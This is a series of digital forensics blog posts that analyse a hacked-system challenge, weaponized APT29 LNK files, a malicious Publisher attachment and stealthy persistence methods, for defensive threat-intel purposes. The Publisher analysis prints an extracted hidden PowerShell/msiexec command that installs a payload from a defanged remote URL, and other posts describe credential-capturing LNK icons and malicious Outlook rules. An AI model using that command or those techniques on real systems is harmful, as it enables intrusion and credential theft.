In the end, however, I could not find where the question of how the "C:\Tools\readme.txt" file came to be on the system was clearly and directly addressed.  It may be there; I just couldn't find it.

Final Words
I did engage with the challenge author early this morning (9 Jan), and he shared with me the specifics of how different files (the files in a folder on one user's desktop) were created on the system.  I think that one of the major comments I shared with Ali was that not only was this challenge representative of what I've seen in the industry, but so are the shared findings.  No two analysts come to the table with the exact same experience and perspectives, and left to their own devices, no two analysts will approach and solve the same analysis (or challenge) the same way.  But this is where documentation and sharing is most valuable; by working challenges such as these, either separately or together, and then sharing our findings publicly, we can all find a way to improve every aspect of what we do.

Monday, January 07, 2019

Mystery Hacked System

Ali was gracious enough to make several of the challenges that he put together for his students available online, as well as for allowing me to include the first challenge in IWS.  I didn't include challenge #3, the "mystery hacked system" in the book, but I did recently revisit the challenge.  Ali said that it would be fine for me to post my findings.

As you can see, the challenge is pretty straightforward...an admin found a message "written on their system", and reported it.  The questions that Ali posed for the challenge were:
  1.  How was the system hacked?
  2. What evidence did you find that proved your hypothesis?
  3. How did you approach and solve the case?
  4. Anything you would like to add?
Below are my responses:

Question 1
Based on what I observed in the data, I would say that the system was not, in fact, hacked.  Rather, it appears that the Administrator user logged in from the console, accessed the C:\Tools folder and created the readme.txt file containing the message.

Question 2
I began with a visual inspection of the image, in order to verify that it could be opened, per SOP.  An initial view of the image indicated two user profiles (Administrator, master), and that there was a folder named "C:\Tools".  Within that folder was a single file named "readme.txt", which contained the text in question.

From there, I created a timeline of system activity, and started my analysis by locating the file 'C:\Tools\readme.txt' within the timeline, and I then pivoted from there.

The readme.txt file was created on 12 Dec 2015 at approx. 03:24:04 UTC.  Approx. 4 seconds later, the Automatic JumpList for Notepad within the Administrator profile was modified; at the same time, UserAssist artifacts indicated that Administrator user launched Notepad.

At the time that the file was created, the Administrator user was logged into the system via the console.  Shellbag artifacts for the Administrator account indicated that the account was used to navigate to the 'C:\Tools' folder via Windows Explorer.

Further, there were web browser artifacts indicating that Administrator account was used to view the file at 03:24:09 UTC on 12 Dec 2015, and that the 'master' account was used to view the file at 03:27:23 UTC on the same day.

Question 3
I created a timeline of system activity from several sources extracted from the image; file system metadata, Windows Event Log metadata, and Registry metadata.  In a few instances, I created micro-timelines of specific data sources (i.e., login events from the Security Event Log, activity related to specific users) to use as "overlays" and make analysis easier.

Question 4
Not related to the analysis goal provided were indications that the Administrator account had been used to access the Desktop\Docs folder for the 'master' user and created the 'readme.txt' file in that folder.

In addition, there was a pretty significant change in the system time, as indicated by the Windows Event Log:

Fri Dec 11 17:30:37 2015 Z
  EVTX     sensei            - [Time change] Microsoft-Windows-Kernel-General/1;
                                          2015-12-11T17:30:37.456000000Z,
                                          2015-12-12T03:30:35.244496800Z,1
*Time was changed TO 2015-12-11T17:30:37 FROM 2015-12-12T03:30:35

Finally, there was some suspicious activity on 12 Dec, at 03:26:13 UTC, in that magnify.exe was executed, as indicated by the creation and last modification of an application prefetch file. This indicates that this may have been the first and only time that magnify.exe had been executed.

Several seconds before that, it appeared that utilman.exe had been executed, and shortly afterward, net.exe and net1.exe were executed, as well.

Concerned with "Image File Execution Option" or accessibility hijacks, I searched the rest of the timeline, and found an indication that on 11 Dec, at approx. 19:18:54 UTC, cmd.exe had been copied to magnify.exe. This was verified by checking the file version information within magnify.exe.  Utilman.exe does not appear to have been modified, nor replaced, and the same appears to be true for osk.exe and sethc.exe.

Checking the Software hive, there do not appear to be any further "Image File Execution Option" hijacks.

I should note that per the timeline, the execution of magnify.exe occurred approx. two minutes after the message file was created.

Addendum:
After I posted this article and Ali commented, I found this blog posted by Adam which also provided a solution to the challenge.  Adam had posted his solution on 2 Jan, so last week.  I have to say, it's great to see someone else working these challenges and posting their solution.  Great job, Adam, and thanks for sharing!

Addendum, 9 Jan:
Based on a whim, I took a look at the USN change journal, and it proved to be pretty fascinating...more so, it showed that following the use of the net.exe/net1.exe, no files were apparently written to the system (i.e., output redirected to a file).  Very cool.

Tuesday, January 01, 2019

LNK Toolmarks, Revisted

There was a recent blog post and Twitter thread regarding the parsing and use of weaponized LNK file metadata. Based on some of what was shared during the exchange, I got to thinking about toolmarks again, and how such files might be created.  My thinking was that perhaps some insight could be gained from the format and structure of the file itself.  For example, the weaponized LNK files from the two campaigns appear to have valid structures, and there appear to have been no modifications to the LNK file structure itself.  Also, the files contained specific structures, including a PropertyStoreDataBlock and a TrackerDataBlock.  While this may not seem particular unusual, I have seen some LNK files that do not contain these structures.  I parsed an LNK file not long ago that did not contain a TrackerDataBlock.  As such, I thought I'd look at some ways, or at least one way, to create LNK files and see what the resulting files would "look like".

Several years ago, Adam had an excellent blog post regarding LNK hotkeys; I borrowed the VBS code (other examples and code snippets can be found here and here), and made some minor tweaks.  For example, I pointed the target path to calc.exe, ran the code, and then moved the file from the Desktop to a testing folder, changing the file extension in the process.  Running my own parser against the resulting LNK file, I found that it had a valid PropertyStoreDataBlock (containing the user SID), as well as a properly structured TrackerDataBlock.

These findings coincide with what I saw when running the parser against LNK files from both the 2016 and 2018 APT29/Cozy Bear campaigns.

You can also use PowerShell to create shortcuts, using the same API as the VBScript:
Create shortcuts in PowerShell
PowerShell script to modify an LNK file (target path)
Editing shortcuts in PowerShell

We also know that the LNK files used in those campaigns were relatively large, much larger than a 'normal' LNK file, because the logical file was extended beyond the LNK file structure to include additional payloads.  These payloads were extracted by the PowerShell commands embedded with in the LNK file itself.

Felix Weyne published a blog post that discussed how to create a booby-trapped LNK file (much like those from the APT29 campaigns) via PowerShell.

So, we have a start in understanding how the LNK files may have been created.  Let's go back and take another look at the LNK files themselves.

The FireEye blog post regarding the recent phishing campaign included an operational timeline in table 1.  From that table, the "LNK weaponized" time stamp was developed (at least in part) from the last modification DOSDate time stamp for the 'system32' folder shell item within the LNK file.  What this means is that the FireEye team stripped out and used as much of the LNK file metadata as they had available.  From my perspective, this is unusual because most write-ups I've seen regarding the use of weaponized LNK files (or really, any weaponized files) tend to give only a cursory overview of or reference to the file before moving on to the payloads. Even write-ups involving weaponized Word documents make mention of the file extension, maybe give a graphic illustrating the content, and then move on.

As described by the folks at JPCERT/CC, parsing of weaponized LNK files can give us a view into the attacker's development environment.  The FireEye team illustrated some of that by digging into the individual shell items and incorporating the embedded DOSDate time stamps in their analysis, and subsequently the operational timeline they shared in their post.

There's a little bit (quite literally, no pun intended...) more that we can tease out of the LNK file.  The VBScript that I ran to create an LNK file on my Windows 10 test system.  Figure 1 shows the "version" field (in the green box) for one of the shell items in the itemIDList from the LNK file.

Fig. 1: Excerpt from "foo" LNK file





In figure 1, the version is "0x09", which corresponds to a Windows 10 system (see section 6.5 of Joachim Metz's Windows Shell Item format specification).

Figure 2 illustrates the shell item version value (in the red box) from the approximate corresponding location in the APT29 LNK file from the 2018 campaign.

Fig. 2: Excerpt from APT29 LNK file





In figure 2, the version field is "0x08", which corresponds to Windows 7 (as well as Windows 8.0, and Windows 2008).  It may not be a lot, but as the versions of Windows continue to progress, this will have more meaning.

Finally, some things to consider about the weaponized LNK files...

All of the shell items in both LNK files have consistent extension blocks, which may indicate that they were created through some automated means, such as via an API, and not modified (by hand or by script) as a means of defense evasion.

So, what about that?  What is the effect of individual shell items, and to the entire LNK file, if modifications are made?  From figure 1, I modified the version value to read 0x07 instead of 0x09, and the shortcut performed as expected.  Modifications to weaponized LNK files such as these will very likely affect parsers, but for those within the community who wrote the parsers and understand the LNK file structure (along with associated shell item structures), such things are relatively straightforward to overcome (see my previous "toolmarks" blog post).

Final Words
Using "all the parts of the buffalo", and fully exploiting the data that you have available, is the only way that you're going to develop a full intelligence picture. Some of what was discussed in this post may not be immediately useful for, say, threat hunting within an infrastructure, but it can be used to develop a better understanding of the progression of techniques employed by actors, and provide a better understanding of what to hunt for.

Additional Reference Material
Joachim Metz's Windows Shell Item format specification
Link to reported bash and C versions of a tool to create LNK files on Linux

Saturday, December 29, 2018

Parsing the Cozy Bear LNK File

November 2018 saw a Cozy Bear/APT29 campaign, discussed in FireEye's blog post regarding APT29 activity (from 19 Nov 2018), as well as in this Yoroi blog regarding the Cozy Bear campaign (from 21 Nov 2018).  I found this particular campaign a bit fascinating, as it is another example of actors sending LNK files to their target victims, LNK files that had been created on a system other than the victim's.

However, one of the better (perhaps even the best) write-up regarding the LNK file deployed in this campaign is Oleg's description of his process for parsing that file.  His write-up is very comprehensive, so I won't steal any of his thunder by repeating it here.  Instead, I wanted to dig just a bit deeper into the LNK file structure itself.

Using my own parser, I extracted metadata from the LNK file structure for the "ds7002.lnk" file. The TrackerDataBlock includes much of the same information that Oleg uncovered, including the "machine ID", which is a 16-byte field containing the NetBIOS name of the system on which the LNK file was created:

***TrackerDataBlock***
Machine ID            : user-pc
New Droid ID Time     : Thu Oct  6 17:03:04 2016 UTC
New Droid ID Seq Num  : 13273
New Droid    Node ID  : 08:00:27:92:24:e5
Birth Droid ID Time   : Thu Oct  6 17:03:04 2016 UTC
Birth Droid ID Seq Num: 13273
Birth Droid Node ID   : 08:00:27:92:24:e5

From the TrackerDataBlock, we can also see one of the MAC addresses recognized by the system.  Using the OUI lookup tool from Wireshark, we see that the OUI for the displayed MAC address points to "PcsCompu PCS Computer Systems GmbH".  From WhatsMyIP, we get "Pcs Systemtechnik Gmbh".

Further, there's a SID located in the PropertyStoreDataBlock:

***PropertyStoreDataBlock***
SID: S-1-5-21-1764276529-1526541935-4264456457-1000

Finally, there's the volume serial number embedded within the LNK file:

vol_sn             C4B2-BD1C

A combination of the volume serial number, maching ID, and the SID from the PropertyStoreDataBlock can be used to create a Yara rule, which can then be submitted as a retro-hunt on VirusTotal, in order to locate other examples of LNK files created on this system.

Note that the FireEye write-up mentions a previous campaign (described by Volexity) in which a similar LNK file was used.  In that case, MAC address, SID, and volume serial number were identical to the ones seen in the LNK file in the Nov 2018 campaign.  The file size was different, and the embedded PowerShell command was different, but the rest of the identifying metadata remained the same two years later.

Another aspect of the LNK file from the Nov 2018 campaign is the embedded PowerShell command.  As Oleg pointed out, the PowerShell command itself is encoded, as a base64 string.  Or perhaps more accurately, a "base" + 0x40 encoded string.  The manner by which commands are obfuscated can be very telling, and perhaps even used as a means for tracking the evolution of the use of the technique.

This leads to another interesting aspect of this file; rather than using an encoded PowerShell command to download the follow-on payload(s), those payloads are included encoded within the logical structure of the file itself.  The delivered LNK file is over 400K in size (the LNK file from 2016 was over 660K), which is quite unusual for such a file, particularly given that the LNK file structure itself ends at offset 0x0d94, making the LNK file 3476 bytes in size.

Oleg did a great job of walking through the collection, parsing and decoding/decryption of the embedded PDF and DLL files, as well as of writing up and sharing his process.  From a threat intel perspective, identifying information extracted from file metadata can be used to further the investigation and help build a clearer intel picture.

Addendum, 31 Dec: Here's a fascinating tweet thread regarding using DOSDate time stamps embedded in shellitems to identify "weaponization time" of the LNK file, and here's more of that conversation.

Friday, December 28, 2018

PUB File

Earlier this month, I saw a tweet that led me to this Trend Micro write-up regarding a spam campaign where the bad guys sent malicious MS Publisher .pub file attachments that downloaded an MSI file (using .pub files as lures has been seen before).  The write-up included a hash for the .pub file, which I was able to use to locate a copy of the file, so I could take a look at it myself.  MS Publisher files follow the OLE file format, so I wanted to take a shot at "peeling the onion" on this file, as it were.

Why would I bother doing this?  For one, I believe that there is a good bit of value that does unrealized when we don't look at artifacts like this, value that may not be immediately realized by a #DFIR analyst, but may be much more useful to an intel analyst.

I should note that the .pub file is detected by Windows Defender as Trojan:O97M/Bynoco.PA.

The first thing I did was run 'strings' against the file.  Below are some of the more interesting strings I was able to find in the file:

E:\tmp\wix_tmp\officehomems.com_sched\1en.pub
proverka@example.com
BaseClass=crysler
comodostar 
alabama

Document created using the application not related to Microsoft Office

For viewing/editing, perform the following steps:
Click Enable editing button from the yellow bar above.
Once you have enabled editing, please click Enable Content button from the yellow bar above.

"-executionpolicy bypass -noprofile -w hidden  -c & ""msiexec"" url1=gmail url2=com  /q /i http://homeofficepage[.]com/TabSvc"

Shceduled update task

One aspect of string searches in OLE format files that analysts need to keep in mind is that the file structure truly is one of a "file system within a file", as the structure includes sector tables that identify the sectors that comprise the various streams within the file.  What this means is that the streams themselves are not contiguous, and that strings contained in the file may possibly be separated across the sectors.  For example, it is possible that for the string "alabama" listed above, part of the string (i.e., "ala") may exist in one sector, and the remaining portion of the string may exist in another sector, so that searching for the full string may not find all instances of it.  Further, with the use of macros, the macros themselves are compressed, throwing another monkey wrench into string searches.

Back to the strings themselves; I'm sure that you can see why I saw these as interesting strings.  For example, note the misspelling of "Shceduled".  This may be something on which we can pivot in our analysis, locating instances of a scheduled task with that same misspelling within our infrastructure.  Interestingly enough, when I ran a Google search for "shceduled task", most of the responses I got were legitimate posts where the author had misspelled the word.  ;-)

The message to the user seen in the strings above looks similar to figure 2 found in this write-up regarding Sofacy, but searching a bit further, we find the exact message string being used in lures that end up deploying ransomware.

Next, I ran 'oledmp.pl' against the file; below is the output, trimmed for readability:

Root Entry  Date: 20.11.2018, 14:40:11  CLSID: 00021201-0000-0000-00C0-000000000046
    1 D..       0 20.11.2018, 14:40:11 \Objects
    2 D..       0 20.11.2018, 14:40:11 \Quill
    3 D..       0 20.11.2018, 14:40:11 \Escher
    4 D..       0 20.11.2018, 14:40:11 \VBA
    7 F..   10602                                \Contents
    8 F.T      94                                  \CompObj
    9 F.T   16384                                \SummaryInformation
   10 F.T     152                                \DocumentSummaryInformation
   11 D..       0 20.11.2018, 14:40:11 \VBA\VBA
   12 D..       0 20.11.2018, 14:40:11 \VBA\crysler
   18 F..     387                                 \VBA\crysler\f
   19 F..     340                                 \VBA\crysler\o
   20 F.T      97                                 \VBA\crysler\CompObj
   21 F..     439                                 \VBA\crysler\ VBFrame
   22 F..     777                                 \VBA\VBA\dir
   23 FM.    1431                              \VBA\VBA\crysler
   30 FM.    8799                              \VBA\VBA\ThisDocument
   
As you can see, there are a number of streams that include macros.  Also, from the output listed above, we can see that the file was likely created on 20 Nov 2018, which is something that can likely be used by intel analysts.

Using oledump.py to extract the macros, we can see that they aren't obfuscated in any way.  In fact, the two visible macros are well-structured, and don't appear do much at all; the malicious functionality appears to embedded someplace else within the file itself.

Windows Artifacts and Threat Intel
I ran across a pretty fascinating tweet thread from Steve the other day.  In this thread, Steve talked about how he's used PDB paths to not just get some interesting information from malware, but to build out a profile of the malware author over a decade, and how he was able to pivot off of that information.  In the tweet thread, Steve provides some very interesting foundational information, as well as an example of how this information has been useful.  Unfortunately, it's in a tweet thread and not some more permanent format.

I still believe that something very similar can be done with LNK files sent by an adversary, as well as other "weaponized" documents.  This includes OLE-format Word and Publisher documents, as well.  Using similar techniques to what Steve employed, including Yara rules to conduct a VT retro-hunt, information can be built out using not just information collected from the individual files themselves, but information provided by VT, such as submission date, etc.

Wednesday, December 19, 2018

Hunting and Persistence

Sometimes when hunting, we need to dig a little deeper, particularly where the actor employs novel persistence mechanisms.  Persistence mechanisms that are activated by some means other than a system start or user login can be challenging for a hunter to root (pun intended) out.

During one particular hunting engagement, svchost.exe was seen communicating out to a known-bad IP address, and the hunters needed to find out a bit more about what might be the cause of that activity.  One suggestion was to determine the time frame or "temporal proximity" of the network activity to other significant events; specifically, determine whether something was causing svchost.exe to make these network connections, or find out if this activity was being observed "near" a system start. 

As it turned out, the hunters in that case had access to data that had been collected as part of the EDR installation process (i.e., collect data, install EDR agent), and were able to determine the true nature of the persistence.

Sometimes, persistence mechanisms aren't all that easy, nor straightforward to determine, particularly if the actor had established a foothold within the target infrastructure prior to instrumentation being put in place.  It is also difficult to determine persistence within an infrastructure when complete visibility has not been achieved, and there are "nexus systems" that do not have the benefit of instrumentation.  The actor may be seen interacting with instrumented systems, but those systems may be ancillary to their activity, rather than the portal systems to which they continually return.

One persistence mechanism that may be difficult to uncover is the use of the "icon filename" field within Windows shortcut/LNK files.  Depending upon where the LNK file is located on the system (i.e., not in the user's StartUp folder), the initiation of the malicious network connection may not be within temporal proximity of the user logging into the system, making it more difficult to determine the nature of the persistence.  So how does this persistence mechanism work?  Per Rapid7, when a user accesses the shortcut/LNK file, SMB and WebDav connections are initiated to the remote system.

Also, from here:

Echoing Stuxnet, the attackers manipulated LNK files (Windows shortcut files), to conduct malicious activities. In this case, they used LNK files to gather user credentials when the LNK file attempted to load its icon from a remote SMB server controlled by the attackers.

As you can see, this persistence method would then lead to the user's credentials being captured for cracking, meaning that the actor may be able return to the environment following a global password change. Be sure to check out this excellent post from Bohops that describes ways to collect credentials to be cracked.

Another persistent mechanism that may be difficult for hunters to suss out is the use of OutLook rules (description from MWR Labs, who also provide a command line tool for creating malicious OutLook rules, which includes a switch to display existing rules).  In short, an actor with valid credentials can access OWA and create an Outlook rule that, when the trigger email is received, can launch a PowerShell script to download and launch an executable, or open a reverse shell, or take just about any other action.  Again, this persistence mechanism is completely independent of remediation techniques, such as global password changes.

Additional Resources
MS recommendations to detect and remediate OutLook rules
Detecting OutLook rules WRT O365, from TechNet

Addendum, 21 Dec: FireEye blog post references SensePost's free tool for abusing Exchange servers and creating client-side mail rules.

Addendum, 24 Dec: Analysis of LNK file sent in the Cozy Bear campaign

Tuesday, December 18, 2018

Updates

Based on some testing that Phill had done, I recently updated my Recycle Bin index file ($I*, INFO2) parser.  Since then, there have been some other developments, and I wanted to document some additional updates.

NTFSDisableLastAccessUpdate
We have seen recently that, apparently, as of Win10 1803 there have been changes made to the NTFSDisableLastAccessUpdate value in the Registry (David, Maxim).  In short, rather than the "yes" or "no" (i.e., "1" or "0") value data that we're used to seeing, there are a total of 4 options now.

I've updated the disablelastaccess.pl plugin accordingly.

SysCache.hve
Maxim shared some interesting insight into the SysCache.hve file recently.  This is a file whose structure follows that of Registry hive files (similar to the AmCache.hve file), and is apparently only found on Win7 systems.

There's some additional insight here (on Github) regarding the nature of the various values within some of the keys.

I created the syscache.pl plugin to parse this file, and to really make use of it, you need to also have the MFT from the system, as the SysCache.hve file does not record file names; rather, it records the MFT record number, which is a combination of the entry number and the sequence number for the file record within the MFT.

PowerShell Logging
As my background is in DFIR work and not system administration, it was only recently that I ran across PowerShell Transcription Logging. This is a capability that can be enabled via GPO, and as such, there are corresponding Registry values (in addition to the use of the Start-Transcript module, which can be deployed via PS profiles) that enable the capability.  There's also a Registry value that allows for timestamps to be recorded for each command.

This capability records what goes in with PowerShell during a session, and as such, can be pretty powerful stuff, particularly when combined with PowerShell logging.

To see what PowerShell transcription logging can provide to an analyst, take a look at this example, provided by FireEye, of a recorded Invoke-Mimikatz script session.  Here's an example (also from FireEye) of what the results of module logging looks like for the same session.

As these settings can inform an analyst as to what they can expect to find on a system, I created the pslogging.pl plugin.  However, a dearth of available data has really limited my ability to test the plugin.

*Note: This post was originally authored on 9 Dec 2018

Saturday, November 24, 2018

Tool Testing

Phill recently posted regarding some testing that he'd conducted, with respect to tools for parsing Windows Recycle Bin files. From Phill's blog post, and follow-on exchanges via Twitter, it seems that Phill tested the following tools (I'm assuming these are the versions tested):

rifiuti2
- Jason Hale's $I Parse - blog posts here and here
- Dan Mare's RECYCLED_I app - the main software page states "RECYCLED_I: Program to parse the $I files extracted via a forensic software package. Special request.", but you can download it (and get syntax/usage) from here.
- My own recbin.pl/.exe

Phill's testing resulted in Eric Zimmerman creating RBCmd (tweet thread).

What I was able to determine after the fact is that the "needs" of a parsing tool were:

- parse Recycle Bin files from XP/2003 systems (INFO2), as well as Win7 & Win10 ($I*)
- for Win7/10, be able to parse all $I* files in a folder.

The results from the testing were (summarized):

- Some tools didn't do everything; some don't parse both XP- and Win7-style Recycle Bin files, and the initial versions of the tool I wrote parsed but did not display file sizes (it does now)
- The tool I wrote can optionally display tabular, CSV, and TLN output
- Eric's RBCmd parses all file types, including directories of $I* files; from the tweet thread, it appears that RBCmd displays tabular and CSV output
- rifiuit2 was the fastest

So, if you're looking to parse Recycle Bin index files (either INFO2 or $I* format)...there you go. 

$I* File Structures
As Jason Hale pointed out over 2 1/2 years ago, the $I* file structure changed between Win7 and Win10.  Most of the values are in the same location (the version number...the first four bytes...were updated from 1 to 2), but where Win7 had a fixed length field that included the name and original path (in Unicode) of the file, Win10 and Win2016 have a four byte name length field, followed by the file path and name, in Unicode.

Resources
SemanticScholar PDF
4n6Explorer article